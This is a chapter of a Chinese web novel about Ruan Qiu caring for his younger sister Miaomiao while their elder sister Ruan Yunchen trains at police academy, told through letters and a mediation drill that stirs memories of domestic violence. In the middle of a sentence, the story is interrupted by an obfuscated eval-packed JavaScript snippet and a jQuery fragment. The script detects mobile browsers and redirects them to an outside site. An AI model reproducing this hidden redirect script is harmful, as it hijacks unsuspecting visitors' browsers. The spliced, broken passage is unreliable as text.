时间已经过去了一个月又四天。


    这个数字是阮秋清晨醒来时，淼淼在早餐桌上无意间提起的——她用勺子敲着碗边，小声嘟囔：“姐姐怎么还不回来？”


    阮秋没有回答。他从炖锅里舀出最后一勺白粥，盛在自己碗里时才发现粥已经见底。他用筷子搅了搅，拌上榨菜，边吃边翻开一本复习资料。


    淼淼没再吵，只是捧着碗，目光偶尔偷偷瞥向墙上那块表。那表还在走，滴滴答答地，把家里安静的气氛拉得更长。


    窗外的蝉声密集，阳光透过窗帘在地板上撒了几片斑驳的影子。空气里飘着细微的灰尘，慢慢游荡，像是忘记了该去往哪里。


    阮云琛离开家的那天，阮秋一直觉得，有些东西一起被带走了。


    她的背包很轻，手里抓着的那张车票皱巴巴的，但却在家门口留下了几分隐形的重量，直到现在，他还没学会如何轻松地去面对。


    这些日子里，阮秋的生活变得比以前忙碌了许多。


    早晨是定好的闹钟把他唤醒，他从床边捞起衣服穿上，悄无声息地下床，生怕吵醒睡在另一间房的淼淼。


    等厨房里的水壶发出尖锐的鸣叫声，淼淼才会揉着眼睛从房间探头出来，嘴里还含糊地喊：“哥，我还要睡五分钟。”


    送她去学校后，他的日程会被时间表塞得满满当当——两小时的图书馆自习，半小时的练习卷解题，接着就是拳馆的训练或者兼职，直到日落的光线变得昏黄，他才拖着一身汗回到家。


    门总是很安静地开着，等他推开时，看到的永远是一片空荡的房间。


    拳馆里的拳套依旧挂在架子上，他总会在收拾器材时下意识地看一眼，但那双红色的拳套，却再也没有了熟悉的重量。


    阮秋并没有多想，只是将那份若有似无的失落藏在指尖的动作里，整理好器材后便默默关灯离开。


    跳级的申请通过了，校方发来了通知，下学期开学，他将直接进入高中的课堂。


    这是他很久以来的目标，可当目标终于实现时，阮秋却没有感到想象中的轻松。


    书桌上摊开的课本成了日复一日的陪伴，但某些时刻，他还是会无意间转头看向挂在墙上的倒计时表格。那是阮云琛离家前最后一次动手贴的，红圈划得整齐，却没来得及全部填满。


    每到这个时候，他总会停下手里的笔，看着那一排整齐的红圈发呆。


    心里的某个地方，总会涌起一些无处可放的情绪，像是想念，又像是别的什么。


    阮秋没有把自己的情绪告诉任何人，包括淼淼。


    他习惯将一切都藏在日常的缝隙里，比如准备晚饭时顺手擦过灶台的动作，比如听淼淼在餐桌上抱怨作业太多时点头的表情，比如每次离开拳馆前多留几分钟，看一眼换衣柜里的那双拳击鞋。


    淼淼总是会在晚上早早地睡着。


    她的房间贴满了五颜六色的画，整面墙都快装不下了。那些画从天花板一直铺到踢脚线，有的纸角翘起了，仿佛要飞起来似的。


    阮秋站在门口，看着淼淼蜷在被子里的一小团，抬手轻轻将门关上。


    日子过得太平静，就会变得有些枯燥，甚至会让人连醒来之后都有一种莫名的心不在焉感。


    阮秋每天都会检查报箱，拿着那一大叠报纸传单，一张一张翻，生怕漏了什么，比如水电缴费单，比如......阮云琛的信。


    可那封信还是被淼淼给先发现了。


    淼淼难得起了个大早，一醒来就冲去了信箱，跟和阮秋赛跑似的抱着一打报纸奔了回来，接着有样学样地一张张翻，


    忽地，有张薄薄的信封掉了出来。


    阮淼淼夸张地“呀”了声，举着信跳了起来：“是姐姐寄来的！”


    阮秋接过来，看到信封上简洁的字迹，眼角的线条缓缓舒展开了些。他把信递回去：“那你先读。”


    淼淼趴在沙发上，小心翼翼地撕开信封，拿出信纸时，里面还夹着一张风景明信片。她看了一眼，转手递给阮秋：“给你的。”


    阮秋低头看了看，那是一张田家庄市的风景图，上面画着一片竹林。


    他的目光在明信片的背面停了停，看到阮云琛的字：“训练紧，没时间写太多，别总让淼淼撒娇。照顾好自己。”


    信纸上内容不多，甚至可以说简短。阮云琛的笔迹很稳，和她说话的语气一样，字里行间没有半点多余的温情。


    她提到警校生活很忙碌，偶尔会提到同学们的趣事，还有食堂的饭菜怎么样。


    淼淼念到最后，忽然停住了：“咦，姐姐怎么没写她想不想家？”


    阮秋把明信片放在桌上，抽出信纸翻看了一眼，没有接话。


    想不想家？


    这种问题，阮云琛不会说。


    阮秋也不会问。


    可他——


    他和淼淼，都想她了。


    隔壁单元的谢胖子说他也是。


    阮秋忍不住翻了他一个大白眼。


    “你跟我姐又没什么太多交情，你想她做什么？”


    胖子言之凿凿：“我们好歹也是互相都送你妹妹上过学的交情，再不济咱俩家也是邻居，怎么就不能意思意思想一下了？”


    吃人手软拿人嘴短，别说是拿人的了，单是胖子每个周末都顺路送淼淼上补习班这件事，就能让阮秋一瞬间哑口无言。


    胖子蹲在巷子口嘿嘿一笑，吹了吹三轮车上摆的一票假花，又整了整头顶撑着的那把掉了漆的遮阳伞。他嘴里叼着根牙签，手里还转着个记账本，打算开始盘算今天的收成。


    “食品生意不好做，”胖子自顾自地嘀咕了一句，像是看穿了阮秋的疑惑，“八宝粥这东西，味道再好，也经不住人说你‘偷工减料’。隔壁的小孩吃了两口拉肚子，他妈一口咬定是我的问题，天天跑市场监督局投诉。”


    他说着摆了摆手，露出一脸“懒得计较”的表情：“换了卖假花，这总没什么油烟吧？还能清闲点，省得老跟人掰扯。”


    他说话时，手指无意识地转着一朵塑料玫瑰，亮红的花瓣在阳光下反着光，看着不怎么自然。


    胖子抬头瞥了阮秋一眼，打趣道：“送花给姑娘吗？今天买一送一，算你便宜点。”


    阮秋没理会他的调侃，只是看着那些塑料花发了会儿呆，随后摇了摇头。


    胖子觉得没趣，上下打量了一番阮秋，嫌弃道：“你都没个喜欢的姑娘吗？”


    阮秋被他看得不耐烦，又起了一股无名火，直往脑门顶上蹿：“跟你有什么关系。”


    “那送给喜欢你的也行啊。”谢胖子一点儿也不气馁，“你这么牛，又聪明，又拿奖学金，还跳级，长得又高，还帅，跟你差不多年纪的小丫头，那不得情书递疯了啊。”


    阮秋想起自己书包里隔三差五就出现的粉色信件，和学校里时而不时地就飘过来的目光，更加烦躁：“你能少说两句吗？”


    胖子也没被他惹恼，只瞪着眼珠子往他口袋里瞧，仿佛能瞧出朵花儿来：“那你没有想追的姑娘，天天带着根头皮筋干什么？给谁的？”


    阮秋一愣，瞧见那根粉黄的头绳露了半截在外面，不知怎么的，脸上就是一阵烧，烧得那股无名怒火更旺了：“你管我。”


    他说完，扭头就走了，惹得胖子坐在那破三轮上直发懵：“吃枪子儿了？”


    天色渐渐暗了。


    在书桌前坐得久了，腰背就都会酸痛。


    窗外夜色浓重，路灯的光斑透过窗帘洒在地板上，显得安静而冷清。面前的书本摊得满满当当，课本上画了几道笔记，但阮秋盯着上面的字，眼神却有些发散。


    他最近试过在街边找兼职，但多是些搬货、发传单的体力活，要么时间和学业冲突，要么报酬低得离谱。


    一天赚不到几块钱，还得咬着牙坚持。


    有一回，他在便利店做夜班，回家时已经是凌晨两点。


    街道上没什么人，他提着两瓶过期了但还没变质的酸奶，一边喝，一边走，一边走，一边心里难受得紧。


    那些单薄的收入，在日复一日的消耗下却显得微不足道。


    阮秋知道自己得坚强。


    肩膀上的重量并不是让人窒息的感觉。它更像是某种静默的审判，冷冷地悬在心头，让人无处可逃......原来这就是一直以来阮云琛所扛下的东西吗？


    夜班后的清晨，他坐在书桌前，手边堆着试卷和备考资料。窗外的阳光很淡，灰蒙蒙的天色像涂抹不匀的水彩画，连空气都透着一股潮湿的倦意。


    他看着那些密密麻麻的公式，手指在纸上轻轻敲了两下，心里却翻腾得厉害。


    有时候他会在黑暗中坐起来，盯着窗外看上许久。


    他一点都不觉得累。


    他只是忽然......


    忽然意识到了阮云琛到底有多么坚强。


    她不是不累。


    她是不能觉得累。


    她靠着自己瘦弱的肩膀撑起了一片广阔的天，天空之外是刺人的刀子，是遍布的荆棘，可天空之下的淼淼和他，却只能瞧得见那美丽的蓝天白云。


    阮秋甚至觉得，自己现在这样的生活根本不算什么——他只不过是承担了阮云琛曾经的一小部分罢了。


    这么想着，他的目光不由得落在桌上那封信上。


    那是阮云琛寄来的，字迹一如既往地干净利落，寥寥数语，却让他读了一遍又一遍。


    说是警校课程很忙，说是体能训练很多，而那其中，还有一个问题——


    “家里都好吧？”


    好。


    当然好。


    阮秋想提笔回信，告诉她一切都很好，可那笔却迟迟没有落下。


    他不知道该写些什么。


    想说家里的日子不难，却又怕她真的信了，以为没有她也可以；想说自己在努力，却又怕显得太矫情。


    阮秋低下头，手指在纸边抚了一下，轻轻叹了口气。


    他明白，写信不是难事，真正难的，是把心里的话藏起来，让它们变得平淡又普通，像某种机械的安慰。


    “姐，我很好，淼淼也很好。”


    他在心里默念了一句，像是在练习，又像是在说服自己。


    房间里很静。


    灯光投下柔和的光晕，把桌上那本打开的习题册染上了一层浅金色。阮秋抬眼看了看那间敞开了门的卧室，看着那墙上挂着的拳套，红色的皮革在灯光下显得格外醒目。


    有一瞬间，思念如潮水。


    ——记得照顾好自己，别老是想着我们。家里没问题，等你回来。


    这是阮秋给阮云琛的信件里写的内容。


    收到信时，阮云琛刚结束当天的队列训练。她拖着一身的汗回到宿舍，就看到检信员送来的信函。


    信封被放在床头，表面有些皱，像是被反复摸过一样。


    她一眼就认出了阮秋的字迹。


    拆开信封的时候，她的手指下意识地一抖，想看，却又不敢看。


    但她也没有手机——廖致远要给她买，但阮云琛坚持不要，反正即使是有手机，警校能够允许使用的时间段也是固定且少的，拿了也是浪费时间。


    所以这信倒是成了她与家里交流的唯一方式。


    阮云琛犹豫了很久，最后还是给打了开来。


    信很短，只有几行字：“姐，家里都挺好的，淼淼最近学会了一首新歌，还画了几幅画。她想挂在你的房间里，可我没答应。


    我的话......高二的生活很充实，廖叔叔让我少打工，我就改成了只去周末，胖哥会顺路送淼淼上画画补习班，不用担心。


    记得照顾好自己，别老是想着我们。家里没问题，等你回来。”


    字迹一如既往的端正，内容一如既往的报喜不报忧。阮云琛看了几遍，心里却没有平静下来。


    她坐在床沿，目光落在信纸上，脑子里浮现出阮秋写这封信时的画面。


    他应该是坐在书桌前，书桌上摞着几本教科书，那是跳级后新增的课业内容。


    他的笔记向来工整，书页边角没有一丝卷曲。淼淼可能就在旁边，铺开她那一套缤纷的彩笔，正兴致勃勃地画着什么，颜色一层层堆叠起来，把整张纸涂得五颜六色。


    阮秋会不时抬起头，假装皱眉，说一声：“别弄脏了桌布。”


    语气里带着无奈，却并不是真的责备。


    这样的画面很平静，很安稳，可正是这份平静，让阮云琛的心隐隐发酸。


    阮云琛清楚，这份安稳不是理所当然的。


    它是用多少次踉跄和跌倒换来的，是用无数个狼狈不堪的日夜拼凑起来的。


    她也明白，阮秋信里的每一句“没问题”，都不过是他用力撑起的体面，用来告诉她“你可以放心”。


    可真的能放心吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178237|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？


    阮云琛抬起手，轻轻按了按额头，仿佛这样能把那些缠绕在脑海里的思绪压下去。


    她知道，自己离开后，阮秋背负的东西会比他承认的更多。


    他会把责任揽在肩上，像她当初一样，不动声色地咬牙坚持。


    他会在淼淼面前扮演一个永远冷静的哥哥，而在夜深人静时，可能会像以前的自己一样，偷偷抹掉那些疲惫和狼狈。


    这些念头一层一层堆积起来，像是手指按在未愈的伤口上，钝痛却无法忽视。


    阮云琛把信重新折好，手指微微用力，像是在掩饰某种情绪。然后，她缓缓地把信放进枕头下。


    宿舍外响起了哨声，尖锐得像一记无声的催促。楼道里的脚步声此起彼伏，其他学员正在赶往晚课的途中。


    阮云琛看了眼墙上的时钟，深吸一口气，起身出了门。


    大学二年级新增了一门课程，是家庭纠纷调解的模拟演练。


    教官分了组，每组负责不同的情景：财产争执、邻里矛盾、家庭暴力。阮云琛被分到了最后一组。


    阮云琛收回思绪，指尖轻轻按在桌面的文件夹上，滑过每一行字。面前摆着一份模拟案件的剧本，她需要扮演一名调解员，处理一场因为家庭琐事而引发的纠纷。


    “开始。”教官在前方发令，声音低沉而简短。


    阮云琛微微颔首，目光迅速扫过对面扮演纠纷家庭的两名学员。她深吸一口气，沉声开口：“先冷静一下，听我说。”


    她的语调不急不缓，吐字清晰，像是一道精准的指令。对面的“妻子”正激动地比划着手中的“欠条”，而“丈夫”则不耐烦地冷笑着，似乎随时都会站起来摔门离开。


    “你们的争执现在只会让问题更复杂，我需要两位暂时保持安静。”她的目光直视对方，语气里没有丝毫让步的余地，“先告诉我，这笔钱是什么时候欠下的？”


    “妻子”愤愤开口：“三个月前，他去赌——”


    “丈夫”一拍桌子，打断了她：“别瞎说！”


    桌椅微微晃了一下，现场的气氛像一根紧绷的琴弦，稍有不慎便会崩断。阮云琛看了两人一眼，声音更低了一些，但力度没有减：“别急着争辩，先说清楚，具体金额是多少？用在哪里？”


    她的冷静让“丈夫”终于沉默了片刻，低声嘟囔：“两千。”


    “妻子”冷笑了一声，眼中满是嘲讽：“你怎么不说是赌输了两千！”


    “够了。”阮云琛轻轻敲了下桌面，截断了这场唇枪舌剑。她的手指在桌上顿了顿，随后合上文件夹，目光重新回到两人之间。


    “你们的情绪可以理解，但现在重要的是解决问题。”她顿了一下，语气微微缓和，“有没有还款的计划？还是说，有其他方式解决？”


    场面安静了一瞬，对面的学员互相对视，似乎都在等待对方先开口。


    阮云琛的眼神冷静如水，仿佛能穿透这短暂的僵局。但只有她自己知道，心底的那点情绪并没有完全平复。


    她的脑海里忽然闪过一个画面——小时候，阮启明的拳头挥在茶几上，玻璃碎了一地，空气中弥漫着白酒刺鼻的气味。她的声音发着颤，求着妈妈快跑。可那个女人只是木然地站在原地，眼神空洞得像一口深井。


    现在，这个训练场里的情节不过是纸上谈兵，是剧本设定的模拟。可曾经，她经历过太多不需要剧本就能撕裂人心的场面。


    阮云琛闭了闭眼，把画面甩出脑海，重新集中注意力。


    教官在旁边观察了一会儿，微微点头，拿起笔在评估表上写了些什么。而阮云琛的手指依然搭在桌面上，静静等待这场演练的结束。


    阮云琛知道她完成得一丝不苟。


    可那种挥之不去的情绪，就像训练场角落里悬挂的国旗，在无风的时刻，也会在阳光下轻轻晃动，几乎无法察觉，却始终在那里。


    桌上白纸黑字，模拟纠纷的剧本写得条理分明，甚至连争执的时间、地点都列得一清二楚。


    两名学员的情绪也被训练得恰到好处，一个愤怒，一个防备，像是两根随时会绷断的弦，却又精准地卡在了不失控的范围里。


    阮云琛盯着那份剧本，手指在文件夹的边角轻轻摩挲了一下。她脑海里闪过的第一个念头，不是这场演练该怎么操作，而是：原来这种场景，是会在警校里模拟的啊。


    她的目光扫过对面那两个“夫妻”，那些愤怒与委屈，指责与争吵，全都写在纸上，分门别类地被归档成了“可控情绪”。


    每一个动作、每一句台词，都像是被设定好的程序，甚至连最终的调解结果也被标注在了旁边的脚注里。


    可为什么呢？


    为什么这些被用作训练的纠纷，在真正的生活里，却从没有人去执行解决？


    她的视线不自觉地停在了文件夹的某一行字上：调解员的任务是以冷静态度化解冲突，最大程度维护家庭和睦。


    “家庭和睦”这四个字安安静静地躺在那里，苍白得有些滑稽。


    她忍不住想起小时候，那个凌晨，她跑到派出所的时候，手里拽着一片被打烂的碗沿，尖锐的边角已经割破了手指。她一边哭，一边喊着“妈妈快被爸爸打死了”。


    可当时，那个值班的警察只是低头喝了一口水，冷淡地吐出一句：“家务事我们不管。”


    ——家务事。


    阮云琛微微吸了口气，把那些回忆压下去，指尖不易察觉地紧了紧。她不需要再记起太多细节，她只知道，后来她妈妈没死，但也差点死了；而那个家庭，早就在无数个这样的夜晚里，一点点瓦解成了没有人想要看一眼的废墟。


    可现在，坐在这个训练室里，剧本上的文字却显得光鲜又公式化，像是在为现实贴上一层几乎透明的伪装。


    阮云琛抬眼看向对面那两个学员，耳边是他们精准却有些虚假的争吵。没有真正的情绪，没有血肉的痛感，只是一场演习，一场没有任何风险的预设场景。


    她的声音平稳而冷静：“不要争了，继续说。”


    阮云琛说这句话的时候，连自己都觉得讽刺。


    为什么呢......？


    为什么世界上仍旧会存在这样的事情呢？


    这个问题没有答案。


    她找不到答案。


    这种虚无缥缈的东西，就跟为什么命运总喜欢玩弄放松警惕的人一样，难以捉摸。